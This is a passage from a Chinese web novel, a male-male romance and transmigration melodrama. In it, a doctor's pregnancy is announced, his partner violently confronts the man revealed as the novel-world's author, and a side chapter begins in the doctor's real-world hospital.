郁瑟微微一笑,故意卖了个关子:“看到了很多让人脸红心跳的内容呢,不过……”他故意停顿了一下,观察着枫音尘的反应,只见对方的脸上越发地红润起来,连耳尖都染上了一抹绯红,愈发美艳无双。 郁瑟心中暗自好笑,“不过很可惜,也很对不起,我只把注意力集中在少有的剧情中了。” 这话并没有令枫音尘松气,反倒更添一份担忧。 郁瑟说,“其实在看到这本小说之前,慕酌月便已经出现了,他告诉我,这个世界是一本小说,而他早已经觉醒了意识,知道所有剧情的起因经过和发展。” “他来找我谈合作,说能借助剧情,协助我去帮助更多的人。” 感觉到枫音尘的情绪里又增添了一份不高兴,言道,“是的,我当时也半信半疑了,这点怪我的草率。” “你知道吗?音尘,当我帮助付清元摆脱了难产带来的死亡时,我的心情达到前所未有的高兴。” “可是,付清元的孩子却没有保住,这又令我足够难过。” “这时,我好像有点失去理智,总觉得假如能更早一点,多一天,多半个月就知道剧情的话,会不会能有更多的人活下来呢?” “所以,我无形中靠近了慕酌月” “他是个混蛋!!”枫音尘听到郁瑟有任何一丝丝倾向于慕酌月的念头,都是无法忍受的,“你应该相信我,我一定会把整本书都送给你,瑟瑟,难道说,你对我有什么疑虑,觉得我会抵死不承认书籍的存在?” “不是,”郁瑟打断后解释,“因为你看到的书籍,只是文字的描述,可是慕酌月似乎知道的范围,比所有小说描述的部分还要广泛。” 郁瑟分析,“他告诉我知道付清元的住址,并用这个住址作为诱饵,请我一同参加柳家假少爷的生日宴会。” 什么!! “他这可恶的东西,居然还敢约你去生日宴会!” 郁瑟不禁将态度变柔软,照着枫公主的嘴角讨好地吻了一口。 “不要嫉妒了,这样的枫公主不漂亮。” 郁瑟又讲,“可是当晚出事之前,基本是擦着时间线,他将我带去的根本不是付清元的租住地,而是宾馆房间。” “完全就是在付清元的生死之间,准确无误地将我带去了付清元临时登记的破烂小宾馆里。” 枫音尘似乎也感受到了郁瑟的潜台词,不禁屏息凝神,安静等待一个答案。 郁瑟说,“我觉得他不仅仅是觉醒了自我意识,更像是这个小说世界的创作者” 创作者!! 这与枫音尘最为担心的部分,简直不谋而合! 他道,“瑟瑟,你再也不许见他,离这个姓慕的远一点!假如你不听我的,我就!!” 枫音尘只要想到小说里提到的那一句:【那个产科医生被叶家大少爷给击毙了。】 他整个人的神经都紧绷如弦,额头冒出冷汗,仿佛亲眼目睹了那血腥的一幕。 “瑟瑟,答应我,无论如何,都要远离那个姓慕的。” 枫音尘紧紧握住郁瑟的手,眼中满是恳求与不安。 郁瑟看着枫音尘紧张的神色,也觉得自己之前魔障了,不该主动靠近慕酌月,去试探对方究竟是不是这本书的原作者。 在这个看似平凡却又暗藏玄机的世界里,每一个选择都可能决定着生死存亡。 他轻轻点头,“音尘,你放心,我会保护好自己的。” 而后,郁瑟似乎要缓解枫公主的紧绷,不由换了一些笑意,靠近美人雪白如玉的耳垂。 “那么,我们不要再提慕酌月了。” “我们来谈一点,令你开怀的事情,好不好?” 枫音尘还没反应过来,不过郁医生主动靠近的感觉却是新鲜又奇妙。 郁瑟那股淡淡的兰草香味随着呼吸拂过他的鼻尖,让枫音尘不自觉地屏住了呼吸。 郁医生说,“我怀孕了。” 枫音尘一动不动。 郁瑟以为他没听清楚,将枫音尘的手拉在腹部,“之前还以为是吃胖了,实际上是怀孕了。” 枫音尘一动不动的,完全像是被屏蔽在了另一个世界,连眼睫毛正常的轻颤也仿佛停止了。 郁瑟要被气笑了,直接对司机喊了一句,“车先停一下。” 枫音尘这才像是回魂了一般,一把给人抱住,声音已经把握不准方向似的,拐来拐去道,“你怀着孕呢!你想往哪里去!!外面那么黑,你万一摔倒什么办!!” 浮夸。 郁瑟侧首瞪他,“你不是不理我?” 枫音尘:“我好像刚才在做梦,真的,感觉自己现在浑身上下都是木木的感觉。” 郁瑟被他逗笑了,主要是能叫聪明一世的枫家主,在一瞬间变成毫无反应的木头人,还真是奇闻一件。 枫音尘立刻说,“不要笑,让我听听你的肚子!” 郁瑟直接给人推开,“你怎么接受能力忽然慢,忽然快的,这肚子才微微鼓起,孩子还是胎芽呢,你能听见什么啊?” 枫音尘已经属于完全失聪人员,好说歹说将郁医生在后车座上推平,小心翼翼地掀开了郁瑟的衬衣,露出莹润的腹部。 谁能想到,居然是怀孕了呢! 巨大的喜悦充斥着他的头脑,连他平常的娇矜与散漫都维持不住了,俨然在一瞬间有所成长。 手指轻轻搭在郁瑟的小腹上,那里面正孕育着一个新的生命。 属于他和他的白月光,共同的生命! 枫音尘的眼神温柔得仿佛能滴出水来,“瑟瑟,我完全不敢相信自己的眼睛,也不敢相信自己的耳朵。” “像我这样的人,居然能拥有一个孩子。” “像你这样的天使,居然愿意怀上我的孩子。” 枫音尘从来浅尝辄止,并未真正地喝醉过,然而现在的他,犹如酩酊大醉一场,梦中恍惚! “我做爸爸了。”枫音尘的激动这才像酒后的蔓延,缓缓升上头来,整个人如生如死,如梦如幻。 枫音尘大喊:“我要跟我最爱的郁瑟共同孕育!!!唔!!!” 郁瑟完全没心情整理被掀开的衣角,而是一把捂住了他乱吼乱叫的嘴巴,结果都没堵住,依旧露出一丝的缝隙。 枫音尘朝司机喊道,“快快快,赶紧往龙城最好的产科医院开!把他们的医生统统给我叫起来,都别睡了,全部过来给我的老公和孩子做检查!!” 郁瑟看他这副模样,心里也软得一塌糊涂。 不过 这称呼也难免太乱了点老公和孩子 那枫音尘自己算什么? 孩子的妈妈吗? 又不是他来生啊!. 枫音尘最后尊重了郁瑟的建议,孕期稍微避点嫌,不要在慈康医院生。 主要是郁医生实在有点羞涩。 枫音尘和郁瑟一起做了第一次的胎检,B超单显示孩子很健康,已经拥有13周大小,胎心搏动有力,像个小鼓手在郁瑟的肚子里敲打着生命的乐章。 枫音尘看着B超屏幕上的小小生命,眼眶不禁快要湿润了。 他轻轻握住郁瑟的手,声音颤抖地说:“你看,她(他)多健康,多有力气。这就是我们的孩子,我们的宝贝。” 然后,枫音尘目光闪烁极了,“我要给我们的孩子斥巨资建一座博物馆,里面盛放一切与孩子成长有关的物品!直至她七老八十的时候!” 郁瑟已经不得不打住他道,“你可饶了孩子的隐私吧,有钱多做善事,捐给贫困山区的孩子们更有意义。” 枫音尘将郁瑟哄着睡着后,先给秘书打了一个电话,而后又把半夜正在睡觉的萧君耀给吵了起来。 萧君耀问:“我刚哄着芽芽睡着,小叔叔,你这是很急吗?” “急死了,非常急!”枫音尘连平常的毒舌也变得甜蜜起来,言道,“我需要你再帮我用人脉关系,清楚地打听到慕酌月明天的行程。” “啊?”萧君耀用手慢慢拍打着自己家的亲闺女,免得好不容易睡着的,再给吵醒就不好了。 枫音尘也用手慢慢地抚摸着郁瑟略带汗湿的发丝,极力压低声音道。 “这是最后一次,我要把慕酌月这颗毒瘤尽快铲除。” “不用你做其他的,更不需要帮手,打听到最准确的地址就行。” 我来给某人施以颜色! 第95章 第 95 章 丑逼 慕酌月被枫音尘当场抢走了郁瑟, 一整夜并未睡得踏实。 其一是枫音尘当着他的面带走了郁瑟,以一种近乎挑衅的姿态,宣告了他对郁瑟的占有;其二便是郁瑟回去肯定会将怀孕的事情告诉枫音尘, 两人之间的甜蜜愈发叫人疯狂。 究竟怎么才能顺利拆散两个人! 弄掉这个不该有的孩子! 慕酌月一夜之间近乎癫狂至极, 所以第二天起床后便决定要想方设法助推一下剧情。 让叶家间接知道,康城最近之所以不再听话,是因为在岛上认识了郁医生的缘故。 慕酌月下定决心几乎是一瞬间的事情, 不过人坐进车里, 人又冥冥中在担忧计划的可行性。 他当然知道如何将一个人推入火坑,也知晓如何将人从里面拉出来。 只是, 叫郁瑟亲自去冒险, 慕酌月不知自己是否真的下得了这个决心。 毕竟,他对郁瑟的情感并不虚假, 但一想到枫音尘那得意洋洋的脸, 以及他们两人可能因孩子而更加紧密的关系,慕酌月的心便如刀割般疼痛。 闭上眼,深吸一口气, 试图平复内心的波澜。 既然已经决定, 便没有回头路可走。 慕酌月开始闭起双眼精心布局,每一步都计算得极为精确,既要让叶家对郁瑟产生误会,最终转移到枫音尘身上, 又不能真的让郁瑟陷入生命危险之中。 正在思索之际。 开车的司机对他言道, “慕先生, 前面的路似乎被堵起来了。” 慕酌月昨晚已经返回了龙城,而他现在正在走的路是前往清流湾的一条副干道。 慕酌月的双眼睁开,立刻看见道路中央倒着两棵被砍伐的大树, 完全阻断了前行的道路。 他皱了皱眉,心中涌起一股不祥的预感。 司机见状,急忙问道:“慕先生,我们现在怎么办?” 慕酌月迅速思考着,这条副干道是他为了避开可能的监视特意选择的,没想到还是遇到了意外。 冷静吩咐道:“掉头,走另一条路。” 司机立刻应声,熟练地操控着方向盘,车辆稳稳地调转方向。 慕酌月透过车窗,目光锐利地扫视着四周,心中暗自警惕,这突如其来的阻碍,是否预示着他的计划已经引起了某些人的注意。 他必须更加谨慎,确保每一步都在他的掌控之中。 哪知车辆刚往后走了没多远的距离,后面来了一辆推土机,将他的去路遮挡的严严实实。 慕酌月好歹是喜欢写乱七八糟狗血的人,像这类场面早已经熟稔异常。 之前他假装坐着轮椅,为了博得郁瑟的关注,现在他想跑能跑,想走能走,来去自由。 而且,他出行的车辆都是全防弹的,自带报警定位,就算现在有人想对他不利,他也能够立刻报警,让警察赶到到他的位置。 慕酌月并未轻举妄动,他深知在这种情况下,保持冷静才是最重要的。 他示意司机不要慌乱,先将车子从内部锁住,然后透过车窗观察着推土机的动向。 只见那推土机缓缓驶来,似乎并没有要停下来的意思,慕酌月心中暗自盘算着对策。 就在这时,他的手机突然响了起来,慕酌月看了一眼来电显示,是一个陌生的号码。 他犹豫了一下,还是接起了电话。 电话那头传来一个低沉的声音:“慕先生,看来你的行程并不顺利啊。” 慕酌月心中一紧,他能够听出这个声音带着一丝戏谑和挑衅。 而且,他也能听出对方正是死对头枫音尘。 慕酌月冷言冷语道:“我本以为枫家主也算是一个风云人物,谁能想到,也不过是一个见不得台面的宵小之徒而已。” 听筒对面并未传来枫音尘的怒吼或者叫骂,更多是一声欢快的笑音。 枫音尘说,“没办法,我是慕先生一个字一个字亲自创作出来的,我应该属于什么样子的个性,慕先生应该最清楚不过吧?” 慕酌月根本没把他当作对手,完全是一个区区纸片人似的存在。 然而现在不是了,枫音尘居然直接道破了天机。 所以慕酌月直接大喊一声,“你怎么知道的?是郁瑟告诉你的吗?” 没有。 慕酌月立刻回忆起,自己对郁瑟说过的话,并未泄露过任何信息,更多只说自己其实是一个书籍的觉醒者。 慕酌月稳了稳神,“你诈我的话语毫无技巧可言” 枫音尘那边似乎更为嫌弃地嗤了一声道,“懦夫,敢写不敢认。” 又说,“你是不是觉得自己塑造的郁瑟,简直跟真正的郁瑟一模一样?” 慕酌月:“??” 慕酌月:“你什么意思?”之前的平静俨然被捕捉到了爆破点,一丝裂痕悄然出现在慕酌月的心防之上。 他皱眉,试图从枫音尘的话语中捕捉到更多的线索,但对方的声音里除了淡淡的嘲讽,再无其他。 枫音尘轻笑一声,“说实话,我当初反应过来,写这本小说的人,一定是个爱慕瑟瑟的阴暗家伙,否则不可能写出这样多的狗血桥段。” “那个时候,我是嫉妒死你了的,觉得这个世界上,居然会有比我还更了解瑟瑟的人。” 而我,只知道瑟瑟喜欢玉兰花,以及他为什么会拼命地帮助他人。 郁瑟是在赎罪。 慕酌月不得不打断他的话,冲手机里爆喝一声,“你怎么能知道的这样多!你怎么可能!!” “枫音尘,你出来说话,我现在要立刻见到你!!” 枫音尘轻笑道,“见不见我毫无必要,但是我从你这些表现来看,已经更加确信,你根本不是所谓的觉醒,你就是这本糟糕透顶的书籍的创作者。” “不准诋毁我的小说!”慕酌月谨慎地扫量着车里的情况。 司机早已经很有眼色地关闭隔板,将慕酌月独自留在隔音的空间内。 这一点的发现虽然来迟了,但是却叫慕酌月暗叫糟糕。 他已经完全被对方牵着鼻子走了。 枫音尘通过望远镜,早已经将车内的情况猜测的八九不离十了。 枫音尘并不像他这样小气,敢做还不敢当,唯唯诺诺、躲躲藏藏的。 他直接说,“我为什么能跟你笃定地说上面的话,因为” “你以为的郁瑟,实际上是真正的郁医生。” 是现实世界里,他们两个人都偷偷摸摸爱上的白月光。 慕酌月沉默了,可是他的沉默震耳欲聋。 怎么可能!!怎么可能! 郁瑟应该还在现实世界里生活得好好的啊!! 慕酌月开口便是疯狂,“你在哪里?!!你给我出来说清楚!!你究竟躲在哪里!你给我讲清楚,谁是真的郁瑟!” 他的手指不停地敲打着车窗玻璃,发出急促而凌乱的声响,如同他此刻纷乱的心绪。 车窗外的景色静止不动,但他的眼中只有一片混沌,仿佛整个世界都在这一刻失去了色彩。 慕酌月无法相信自己所听到的,那个在他心中如白月光般存在的郁瑟,竟然会是以这样一种方式被提及,被揭开一个他从未想过的真相。 慕酌月感到一阵窒息般的痛苦,于是拼命从车里开锁跑了出来,冲着四周大声叫嚷着,“你在哪里?!枫音尘,你给我滚出来把话说清楚!!” 换来枫音尘的一声低笑,“我跟你完全没有见面的必要,而且,我还要告诉你的是” “我为什么能感受到现在的郁瑟,是现实世界的郁医生。” “因为我是重生的,而且我推测,你也是重生的。” “我们都已经死了,才会进入到这本书里。” “但是我现在觉得,这样也挺好的,起码我能在这本书里,永远地陪着瑟瑟,永远地爱他保护他。” “闭嘴!你闭嘴!!”慕酌月被他寥寥数语已经刺激了底线,双目赤红至极,声音因愤怒而变得沙哑,仿佛要将所有的不甘与愤怒都倾泻而出。 “你以为你是谁?凭什么说这样的话?重生?进入书里?!!” 慕酌月的笑容格外诡异。 “即使你已经死了,即使你是真的爱郁瑟的。” 好吧。 “你猜对了,我确实是这本书的创作者,而且我也确实是死后重生!” 这些统统不重要。 “这本书我其实是写给我自己的意.淫的产物。” “枫音尘这个角色,完全是我写给自己的,我要在这本书里,用枫音尘的身份,来好好地跟郁瑟玩一玩!” 好吧,他现在已经彻底绷不住一句假话,压抑在心底的秘密如同决堤的河堤,开始疯狂倾泄。 “什么慕酌月?我根本不想做什么狗屎慕酌月!” “我一直要做的是枫音尘!而你!分明是抢走了我的身份!” 郁医生平常在他的病床前来回穿梭,看起来正经又禁欲,虽然不是顶级的好看,但总是像一束光一般,温柔地照亮着他的内心世界。 神圣不可侵犯。 所以,他该死地对郁瑟产生了欲.望,有了很多很多种非分之想。 他将自己塑造成了一个充满压迫感却秾丽的绝色美男,在书籍的每一个情节里,不停地欺辱郁瑟。 时时刻刻,随时随地,都在侵.犯郁医生。 叫郁医生只能从那干净无暇的嗓音里,时常渗透出娇弱的呻.吟,永远挺直的脊背,被他折叠成随意的形状,做各种永远都不会做的羞耻的事情。 让这个世界上最干净的郁医生,成为他一个人的禁.脔! 慕酌月朝着四周喊道,“听到了吗?你这个假货!你以为是谁给了你机会!让你能随随便便得到郁医生,而且还有机会把郁医生吃得干干净净!” 呵。 枫音尘确实很生气,这是绝对的,毕竟若不是自己占了枫音尘这个身份,该死的猥琐男就该有机会欺辱郁医生了。 我就从来都不会这样想。 枫音尘道,“是吗?那么我猜,你这个人在现实世界一定长得很丑,不然怎么回如此强调枫音尘的容貌,字里行间全是在描述一个男人的美貌。” “我说丑逼,你还是歇了心吧。” 枫音尘自信地笑了笑,“这就是我原本世界的脸,所以我合该是枫音尘。” 第96章 第 96 章 爱惨了郁医生 枫音尘自信地笑了笑, “这就是我原本世界的脸,所以我合该是枫音尘。” 他眨了眨碧玉琉璃色的眼眸,这眸子并非华国人特有的瞳色, 即使慕酌月在小说里花了大量笔墨来形容这眸子的惊艳。 包括枫家所有人的人, 因为剧情的安排,全部没有将注意力放在这个漏洞上。 倒是这两根丁丁,是从小说设定里继承的就是了。 枫音尘道, “合该郁瑟是我的人, 你这个谋事不逮先机,徒贻后时之叹的家伙, 以后就不要再做无谓的抗争了, 瑟瑟无论是在现实生活中,或是这本书的安排里, 都是我一个人的!” 慕酌月才不听他嚣张地宣布自己对郁瑟的占有权, 而是狰狞着脸,露出一抹近似疯狂的笑。 喊道,“你刚才说, 你和我在现实世界里都是死了的人, 你还说,现在小说世界里这个人是真正的郁瑟。” “也就是说。” “郁瑟也已经死了吗?” 否则,郁医生是绝对不可能进入到这个世界里的。 慕酌月被枫音尘一句接一句的压制,已然全无还击, 可是当他稍微回味过来的时候, 赫然发现了这个问题的存在。 “是吧, 郁医生其实也已经死了?” 慕酌月的眼睛里骤然涌出一丝丝迟来的泪水,当他后知后觉发现这个真相的瞬间,整个人在愤怒之余, 又被莫大的悲哀所笼罩起来,直至窒息。 “所以,郁瑟才更应该归我所有才对。” 是的,是的! 慕酌月紧紧握拳,手指关节因过度用力而泛白,连带手机外壳也被捏得嘎吱作响。 “因为他的失误,害得我意外感染了,所以我死了,他也跟着死了,这难道不是我们之间永远也切不断的缘分?” 即使是孽缘,他也要牢牢地捏紧对方才对。 枫音尘闻言,脸色瞬间阴沉下来,那双碧玉琉璃色的眼眸中闪过滔天的怒意。 接着,他丢开手里的手机,大步流星从隐藏的角落走了出来。 慕酌月看他一身金光,面容溢美,完全像是从烈烈光芒中走出来的天神一般,与周遭昏暗的环境形成了鲜明对比,令人不由自主地生出敬畏之心。 “你刚才说,你究竟是谁?!”枫音尘的声音低沉而有力,每一个字都像是从牙缝中挤出来的。 他一步步走近慕酌月,那双怒意未消的眼眸紧紧盯着他,仿佛要将对方看穿千万次一般。 枫音尘倒是提前预设过慕酌月的身份,顶多是现实世界里,斗胆在郁医生身边打转的蟑螂而已。 毕竟当年,郁瑟刚到医院做规培生的时候,凭着润玉一般的青涩外貌,和温柔如春的气质,吸引了不少人的注意。 暗地里喜欢他的人、靠近他的人、妄想他的人,远远比想到的数量更多。 “你居然是那个该死的倒霉鬼!!” 太意外了,简直太意外了! 枫音尘简直恨毒了眼前这个家伙,假如不是因为这个家伙的意外死亡,郁瑟又怎么会处处想着赎罪,最后累死在手术台上。 等慕酌月发现对方的情绪十分不对劲儿,一双绿眸已经因为极度的恨意衍变成墨黑色的刹那。 枫音尘已经如同极度失控的猎豹,飞扑向他,一击右拳狠狠地砸向了慕酌月的面颊侧。 强大的力量让空气都为之震颤,慕酌月只觉一股剧痛袭来,整个人不由自主地踉跄后退了几步。 他抬手摸了摸脸颊,那里已经迅速肿胀起来,火辣辣地疼。 可惜,慕酌月却没有丝毫还击的力量,只是用那双墨黑色的眼眸静静地看着枫音尘,仿佛在看一个失去理智的疯子。 所以发了疯的枫音尘,让他狠狠地学会了一个道理。 看起来特别漂亮的人,实际上攻击力最强。 例如毒蛇,例如曼陀罗,外表华美却暗藏杀机。 枫音尘的愤怒如同狂风暴雨,席卷而来,让人措手不及。 慕酌月只有不停被打的份儿,一部分要怪他做了很长时间的植物人,手脚的灵活度有所降低,而枫音尘则拥有超级健康的运动规划,体力惊人。 这两者之间的悬殊立见高下。 枫音尘一拳拳地砸向他的脆弱,不停爆喝道,“都是你的错!郁医生才会!!” “你一个早死掉的垃圾,根本没有资格埋怨别人!” “郁瑟是无辜的!你的家人全部都是畜生!” “你也是个畜生!你什么都不知道,居然还敢说瑟瑟的死是因为你!!” 但事实确实如此。 这是最令枫音尘痛心又窒息的地方。 他真的太痛了,只要想起郁瑟的遭遇,他就难过得痛不欲生! 你什么都不知道! “也不需要你知道!!” 枫音尘的拳头如同暴风骤雨,最终将毫无招架之力的慕酌月打到半昏半醒,如同一滩烂泥似的瘫倒在地上。 枫音尘气喘吁吁地站在原地,看着眼前这个该死的家伙,面颊的汗珠颗颗滚落,沾湿了雪白无暇的面颊,将一些血点洇开。 宛若朵朵盛世桃花,瓣瓣绽放开来。 映着他浑黑发绿的眸子,显得既妖异又冷厉。 慕酌月趴在地上,嘴角溢出血丝,眼神却仍旧倔强地盯着枫音尘,仿佛有千言万语想要诉说,却又被不甘和痛苦紧紧扼住喉咙。 枫音尘见他如此,心中的怒火更是难以平息。他的右拳已经鲜血模糊,不知是慕酌月的,或者还有他自己的,朝半空打了一个血淋淋的响指。 须臾,半空中突然飞来两架直升机,这两架直升机的飞行高度偏低,几乎是贴着地面在飞行。 轰隆隆的发动机声由远而近,即将把枫音尘要说的话湮灭干净。 在此之前,枫音尘只说了最后几句警告。 “你的小说原件在我这里。” “以后,离郁医生远一点,更不要利用小说里的剧情去做任何坏事。” “否则,你写的垃圾小说,会每天以几十万,几百万本的印刷速度,传遍每一个角落。” “所有人都会知道,你是什么样的垃圾。” 言罢,轰隆隆的声音,果真将他的话音覆盖的彻彻底底。 螺旋桨掀起的气流,将枫音尘的发丝吹得凌乱不堪,他的绝美面容在气流的扰动下显得越发冷峻。 而后转身离开。 慕酌月趴在地上,目光中的倔强逐渐被绝望所取代。枫音尘的话语如同冰冷的利刃,刺入他的心脏,让他感到前所未有的寒冷和无力。 直升机缓缓飞来,一边飞行,一边从上面纷纷扬扬地洒落着雪片一般的小说复印件。 霎时间,漫天的书籍像冰雹一般掉落下来,发出刺耳又密集的声响。 慕酌月只能抱住头部,在这一场书籍的风暴中蜷缩起身子,任由那些纸张如同锋利的刀片,切割着他早已破碎不堪的自尊。 每一本书,都像是对他无情的嘲讽和鞭挞,让他无处遁形。 慕酌月闭上眼睛,泪水混杂着泥土和血迹,滑落脸庞。 在这一刻,他仿佛听见了自己心碎的声音,清脆而绝望。 当直升机终于远去,书籍的风暴也渐渐停歇,只留下满地狼藉和慕酌月孤零零的身影。 他缓缓站起身来,望着那一片狼藉的小说复印件,眼神空洞而迷茫。 曾经,他以郁瑟为梦,在每一个被病痛折磨到痛不欲生的时候,总有一个人穿着白衣,温柔地劝慰着他要坚持一下。 人活着总是有希望的,就像冻土下总有种子在等春天,像枯枝的断面悄悄转着年轮。 所以,这些文字分明也承载了他的爱意。 “谁说我不爱郁瑟呢?我也真的是爱他的啊!” 慕酌月站在一片雪白的狼藉之中,满眼的痛楚蔓延开去。 他的悲怆在空旷的天地间回荡,带着无尽的哀伤与无奈。 那些纸张,那些文字,早已凝结成了他心中无法言说的痛,每一次触碰都会让他痛不欲生。 这些文字,见证了他对郁瑟最真挚的情感。 只是现在,一切都已经来不及挽回了,他站在这里,孤零零的,像是被全世界的剧情遗弃。 他早已被他自己的小说抛弃了。 真可怜。 慕酌月蹲下身,轻轻地拾起一张小说复印件,指尖在上面摩挲着,仿佛在寻找着曾经的温度。 然而,一切都已冰冷,一切都已逝去。 他闭上眼睛,任由泪水再次滑落,滴落在那些纸张上,晕开一片又一片的墨迹。 在这一刻,他终于明白,有些爱,注定是无法挽回的,就像那些散落满地的书籍,再也无法拼凑回原来的模样。 慕酌月打开了小说影印件。 里面的内容,是他被病痛折磨到难以睡着时,倾尽情感,一字一句认真写出来的。 全书上是这样写着的: 【小帅医生的脸色凄惨,白得仿佛一张浸透的宣纸,脆弱又无助,完全比不上平常的镇定。】 【O大佬的无情撤资,使他失去了可靠的背景,就连炮灰A这个疯子,也开始四处造谣,谣传他手上沾着两条人命。】 【小帅医生不得不寻找全新的庇护所。究竟什么样的人,能帮助他躲避两大家族的迫害呢?】 【小美家。】 【小帅站在小美面前,小心翼翼地打量着眼前无比完美艳丽的男人,如实说出了自己的想法。】 【小美却从他躲闪的眼中,看出一只慌张的小鹿被猎人逼进火坑的凄惨处境。】 【是你自己选择跳下来的。】 【小美说:“医生,你穿白袍的模样很性感,但是,只穿白袍的话会更加好看。”】 【震惊!羞耻!侮辱性极强的却是小帅自己也觉得有点动心,毕竟小美长得很美,完全处于他的理想型,尤其是小美的权势地位,完全可以保障他在龙城这个地方继续生存下去。】 【也许,他真的被逼到极限了,被迫签下了那荒谬九十九夜的合约。】 【只穿着白袍的小帅医生像一株被狂风摧残的兰花,他坐在小美的身上,接受来自男人毫不留情的】 “操。” 慕酌月一把将小说丢在地上。 枫音尘这个该死的玩意儿,一键替换,已经把郁瑟和枫音尘等关键角色的名字全部替换干净了。 目的就是为了保护郁医生的名声,不要被谁捡去了之后,成为郁医生的污点。 慕酌月简直被气笑了,禁不住飚粗道,“真tm的。” 这个枫音尘是真tm地爱惨了郁瑟!! 第97章 小番外(1)——初遇 不想看的亲亲们…… 枫音尘一身戾气地返回到了枫家本宅, 最初像是一只战胜敌手的野兽,绿眸中闪烁着的残忍的光芒。 然而随着脚步的深入,那抹戾气渐渐被一层温柔的光羽所取代。 他的神情变得柔和, 仿佛度过漫长且残酷的严冬, 终于聆听到了春风的呼唤,从僵硬枯竭的身躯里,获得原始且蓬勃的生命力。 枫音尘的嘴角不自觉地上扬, 脑海中浮现出那个让他心心念念的身影, 那是他心中唯一的柔软与温暖。 他的步伐变得轻快,最终推开了卧室的屋门。 郁瑟正睡在床上, 如此静谧, 如此安详。 也如此可爱,还怀着他的孩子。 枫音尘的脚步变得慢而又慢, 最终半跪在了郁瑟的床边, 宛若走遍了千山万水的律者,一路崎岖奔波,只为在这一刻, 守护最后的心灵皈依。 他藏起了已经结满血痂右手, 而左手轻轻抬起,似乎怕惊扰了这份宁静,指尖在空中微微颤抖,最终还是轻轻落在了郁瑟柔软的发丝上。 枫音尘的眼神中充满了无尽的温柔与宠溺, 仿佛要将这一刻永远镌刻在心间。 “你根本不知道我是谁。” 枫音尘低语呢喃, 声音轻得如同春风拂过:“我的月光。” 枫音尘的记忆开始如同倒流的泉涌, 在一瞬间缓慢地返回到了他最初能碰触到月光的那个地方 现实世界,某著名第一医院。 王庆林主任接过遥控器,将投屏画面切换成最新的神经内镜手术案例。 像是在询问所有在场的规培生和医师们。 “谁能来分析这个动静脉畸形的处理难点?” 这个问题问得颇有难度, 在场的人不由得面面相觑, 气氛一时之间变得有些凝重。 规培生们纷纷低头沉思,试图从脑海中搜刮出相关的专业知识来应对这个挑战,几位年轻的医师也面露难色。 显然,这个案例并非他们平日里轻易能接触到的复杂情况。 王庆林主任的目光缓缓扫过在场的每一个人,眼神中既有期待也有考验,他深知,这样的提问不仅是对大家专业能力的检验,更是对临床思维和应变能力的一次锻炼。 终于,一位看起来颇为自信的年轻医生缓缓举起了手,他的眼神中闪烁着跃跃欲试的光芒。 王主任微微点头,示意他开始分析。 “这个动静脉畸形的处理难点主要在于……”年轻医生的声音在会议室里响起,伴随着他条理清晰的讲解,大家逐渐沉浸到了这个复杂而又充满挑战的案例之中。 王主任立刻转头对科室其他医生笑道:“咱们这届里果真出了匹黑马,院级青年医师论坛的名额,我准备推荐小郁去。” 这话让正在记录的住院医们纷纷抬头,要知道往年这个名额都是留给高年资主治的。 郁瑟当然受宠若惊,但是他也确实是这一届里备受瞩目的新星,不仅因为其扎实的医学理论基础,更因为他天生适合拿手术刀的果决与沉稳。 在之前的多次模拟病例讨论中,郁瑟总能提出独到见解,展现出超越同龄人的临床思维。 此次被王主任提名,无疑是对他能力的又一次肯定。 郁瑟的这次参选,不仅代表个人荣誉,更是为整个(脑外)科室争光的机会。 郁瑟本人在听到这个消息后,脸上先是闪过一丝惊讶,随即化为淡然处之的亲和。 他才在医院正式入职一年多,但这短短的一年多时间里,他已经迅速成长为科室里不可或缺的一员。 从初入医院的青涩,到如今能够独当一面,郁瑟的成长速度令所有人惊叹。 午休时分,王庆林端着咖啡经过值班室,看见郁瑟蜷在折叠床上小憩,白大褂随意搭在身上当薄被。 于是轻手轻脚把自己的羊绒披肩盖在郁瑟身上,又把空调温度调高两度。 回到办公室后,特意在微信群里发消息:“值班室是轮休的地方,非紧急情况勿扰新人。” 郁瑟备受王主任青睐的事情,便朝着两个极端开始发展起来。 一方面,科室里的同事对郁瑟投以羡慕的目光,认为他是年轻有为的典范,纷纷向他请教临床经验和病例分析技巧。大家私下里议论,觉得郁瑟很可能成为下一个晋升的热门人选,对他的未来充满期待。 另一方面,也有一小部分人对此心生嫉妒,认为郁瑟不过是个初出茅庐的新人,之所以能得到王主任的青睐,不过是运气使然。他们开始在背后说三道四,散布一些关于郁瑟的流言蜚语,试图贬低他的成就。 不过好在郁瑟从不怎么将这些话放进心里,他对于神经外科这个地方充满了无尽的热爱与执着,觉得与其在应付流言蜚语上花费功夫,倒不如扎根临床研究,很好地提升自己的医术。 所以郁瑟总是部门里最早到最晚走的那一个,他将所有的时间和精力都倾注在了神经外科的临床研究上,桌上堆满了专业书籍和最新的研究报告。 除了看报告之外,郁瑟也常常喜欢到病房里去和患者亲自交流,倾听他们的病痛与诉求。 郁瑟最为留心的是其中一个病患,叫做牧野的23岁在校大学生,当初确诊为颅内海绵状血管瘤时,把孩子给吓坏了,孩子的父母更是心急如焚,四处求医。 牧野的病情复杂,手术风险极高,很多医院都不敢轻易接手。 但在郁瑟的耐心解释和细致分析下,牧野一家最终选择了信任他,决定在这里接受治疗。 郁瑟每天都会抽出时间去病房看望牧野,不仅关注他的病情变化,更关心他的心理状态。 毕竟对于患者来说,良好的心态是战胜病魔的重要一环。 郁瑟用自己的亲身经历和鼓励的话语,逐渐让牧野重拾了信心,积极配合治疗。 郁瑟像往常一样,照例去看他这个年轻的病患,却看见对方并不像往常一样主动到庭院中去呼吸新鲜空气,而是抱着一台笔记本电脑,双手飞快地在键盘上敲击着,神情专注。 郁瑟轻轻地推开门时,牧野似乎并未察觉到来人的存在,依旧沉浸在自己的世界里。 “牧野,在忙什么呢?”郁瑟温和的声音打破了室内的宁静。 牧野猛地抬头,眼中闪过一丝惊慌,连呼吸也彻底乱了分寸,面色涨红得宛若染了绯红的颜料,随即换上了笑容:“小郁医生,你来了啊。我在写论文呢,想趁着这段时间把学业也赶上。” 言罢,快速将手里的电脑合起来,一个慌张伸出右手,险些将床头的水杯子打翻。 “小心!” 郁瑟眼疾手快,敏捷地伸出双手,直至他俩的手都稳稳地摁在水杯两侧。 牧野的脸更是如同烈火烹油,红灿灿地夺目。 郁瑟比他年长两岁,心思全部放在搞医学研究上,完全猜不透对方的心思。 近距离笑道,“写论文是好事,但要注意身体啊。别太累了。” 牧野低下头,不好意思地挠了挠头,轻声说道:“我知道,但我真的想把论文赶出来,不想因为生病而耽误学业。” 